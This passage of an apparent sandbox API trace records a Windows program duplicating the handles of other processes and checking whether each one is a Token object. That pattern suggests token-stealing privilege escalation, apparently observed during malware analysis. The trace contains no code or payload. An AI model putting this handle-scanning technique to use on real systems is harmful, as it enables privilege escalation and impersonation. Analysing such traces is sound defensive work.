ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.902] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.902] LocalFree (hMem=0x160a40) returned 0x0 [0196.902] CloseHandle (hObject=0x16c) returned 1 [0196.902] CloseHandle (hObject=0x168) returned 1 [0196.902] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.902] GetCurrentProcess () returned 0xffffffffffffffff [0196.902] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x584, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.902] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.902] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.902] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.902] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.902] LocalFree (hMem=0x160a40) returned 0x0 [0196.902] CloseHandle (hObject=0x16c) returned 1 [0196.902] CloseHandle (hObject=0x168) returned 1 [0196.902] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.902] GetCurrentProcess () returned 0xffffffffffffffff [0196.902] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x588, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.903] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.903] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.903] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.903] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.903] LocalFree (hMem=0x181a40) returned 0x0 [0196.903] CloseHandle (hObject=0x16c) returned 1 [0196.903] CloseHandle (hObject=0x168) returned 1 [0196.903] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.903] GetCurrentProcess () returned 0xffffffffffffffff [0196.903] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x58c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.903] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.903] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.903] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.903] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.903] LocalFree (hMem=0x160a40) returned 0x0 [0196.903] CloseHandle (hObject=0x16c) returned 1 [0196.903] CloseHandle (hObject=0x168) returned 1 [0196.903] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.903] GetCurrentProcess () returned 0xffffffffffffffff [0196.903] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x590, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.903] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.903] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.903] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.903] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.903] LocalFree (hMem=0x181a40) returned 0x0 [0196.904] CloseHandle (hObject=0x16c) returned 1 [0196.904] CloseHandle (hObject=0x168) returned 1 [0196.904] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.904] GetCurrentProcess () returned 0xffffffffffffffff [0196.904] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x594, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.904] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.904] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.904] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.904] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.904] LocalFree (hMem=0x160a40) returned 0x0 [0196.904] CloseHandle (hObject=0x16c) returned 1 [0196.904] CloseHandle (hObject=0x168) returned 1 [0196.904] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.904] GetCurrentProcess () returned 0xffffffffffffffff [0196.904] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x598, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.904] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.904] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.904] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.904] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.904] LocalFree (hMem=0x160a40) returned 0x0 [0196.904] CloseHandle (hObject=0x16c) returned 1 [0196.904] CloseHandle (hObject=0x168) returned 1 [0196.904] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.904] GetCurrentProcess () returned 0xffffffffffffffff [0196.904] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x59c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.905] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.905] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.905] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.905] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.905] LocalFree (hMem=0x160a40) returned 0x0 [0196.905] CloseHandle (hObject=0x16c) returned 1 [0196.905] CloseHandle (hObject=0x168) returned 1 [0196.905] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.905] GetCurrentProcess () returned 0xffffffffffffffff [0196.905] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5a0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.905] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.905] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.905] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.905] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.905] LocalFree (hMem=0x160a40) returned 0x0 [0196.905] CloseHandle (hObject=0x16c) returned 1 [0196.905] CloseHandle (hObject=0x168) returned 1 [0196.905] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.905] GetCurrentProcess () returned 0xffffffffffffffff [0196.905] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5a4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.905] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.905] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.905] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.905] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.905] LocalFree (hMem=0x160a40) returned 0x0 [0196.906] CloseHandle (hObject=0x16c) returned 1 [0196.906] CloseHandle (hObject=0x168) returned 1 [0196.906] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.906] GetCurrentProcess () returned 0xffffffffffffffff [0196.906] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5a8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.906] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.906] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.906] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.906] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.906] LocalFree (hMem=0x160a40) returned 0x0 [0196.906] CloseHandle (hObject=0x16c) returned 1 [0196.906] CloseHandle (hObject=0x168) returned 1 [0196.906] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.906] GetCurrentProcess () returned 0xffffffffffffffff [0196.906] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5ac, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.906] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.906] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.906] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.906] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.906] LocalFree (hMem=0x181a40) returned 0x0 [0196.906] CloseHandle (hObject=0x16c) returned 1 [0196.906] CloseHandle (hObject=0x168) returned 1 [0196.906] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.906] GetCurrentProcess () returned 0xffffffffffffffff [0196.907] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5b0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.907] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.907] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.907] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.907] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.907] LocalFree (hMem=0x160a40) returned 0x0 [0196.907] CloseHandle (hObject=0x16c) returned 1 [0196.907] CloseHandle (hObject=0x168) returned 1 [0196.907] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.907] GetCurrentProcess () returned 0xffffffffffffffff [0196.907] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5b4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.907] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.907] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.907] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.907] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.907] LocalFree (hMem=0x160a40) returned 0x0 [0196.907] CloseHandle (hObject=0x16c) returned 1 [0196.907] CloseHandle (hObject=0x168) returned 1 [0196.907] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.907] GetCurrentProcess () returned 0xffffffffffffffff [0196.907] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5b8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.907] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.907] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.907] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.907] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.908] LocalFree (hMem=0x160a40) returned 0x0 [0196.908] CloseHandle (hObject=0x16c) returned 1 [0196.908] CloseHandle (hObject=0x168) returned 1 [0196.908] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.908] GetCurrentProcess () returned 0xffffffffffffffff [0196.908] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5c0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.908] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.908] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.908] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.908] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.908] LocalFree (hMem=0x160a40) returned 0x0 [0196.908] CloseHandle (hObject=0x16c) returned 1 [0196.908] CloseHandle (hObject=0x168) returned 1 [0196.908] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.908] GetCurrentProcess () returned 0xffffffffffffffff [0196.908] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5c4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.908] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.908] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.908] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.908] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.908] LocalFree (hMem=0x160a40) returned 0x0 [0196.908] CloseHandle (hObject=0x16c) returned 1 [0196.908] CloseHandle (hObject=0x168) returned 1 [0196.908] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.909] GetCurrentProcess () returned 0xffffffffffffffff [0196.909] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5cc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.909] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.909] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.909] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.909] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.909] LocalFree (hMem=0x160a40) returned 0x0 [0196.909] CloseHandle (hObject=0x16c) returned 1 [0196.909] CloseHandle (hObject=0x168) returned 1 [0196.909] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.909] GetCurrentProcess () returned 0xffffffffffffffff [0196.909] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5d0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.909] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.909] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.909] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.909] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.909] LocalFree (hMem=0x160a40) returned 0x0 [0196.909] CloseHandle (hObject=0x16c) returned 1 [0196.909] CloseHandle (hObject=0x168) returned 1 [0196.909] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.909] GetCurrentProcess () returned 0xffffffffffffffff [0196.909] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5d4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.909] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.909] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.909] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.910] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.910] LocalFree (hMem=0x160a40) returned 0x0 [0196.910] CloseHandle (hObject=0x16c) returned 1 [0196.910] CloseHandle (hObject=0x168) returned 1 [0196.910] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.910] GetCurrentProcess () returned 0xffffffffffffffff [0196.910] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5dc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.910] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.910] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.910] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.910] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.910] LocalFree (hMem=0x160a40) returned 0x0 [0196.910] CloseHandle (hObject=0x16c) returned 1 [0196.910] CloseHandle (hObject=0x168) returned 1 [0196.910] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.910] GetCurrentProcess () returned 0xffffffffffffffff [0196.910] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5ec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.910] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.910] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.910] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.910] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.910] LocalFree (hMem=0x160a40) returned 0x0 [0196.910] CloseHandle (hObject=0x16c) returned 1 [0196.910] CloseHandle (hObject=0x168) returned 1 [0196.910] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.911] GetCurrentProcess () returned 0xffffffffffffffff [0196.911] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5f0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.911] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.911] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.911] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.911] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.911] LocalFree (hMem=0x160a40) returned 0x0 [0196.911] CloseHandle (hObject=0x16c) returned 1 [0196.911] CloseHandle (hObject=0x168) returned 1 [0196.911] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.911] GetCurrentProcess () returned 0xffffffffffffffff [0196.911] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.911] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.911] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.911] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.911] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.911] LocalFree (hMem=0x160a40) returned 0x0 [0196.911] CloseHandle (hObject=0x16c) returned 1 [0196.911] CloseHandle (hObject=0x168) returned 1 [0196.911] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.911] 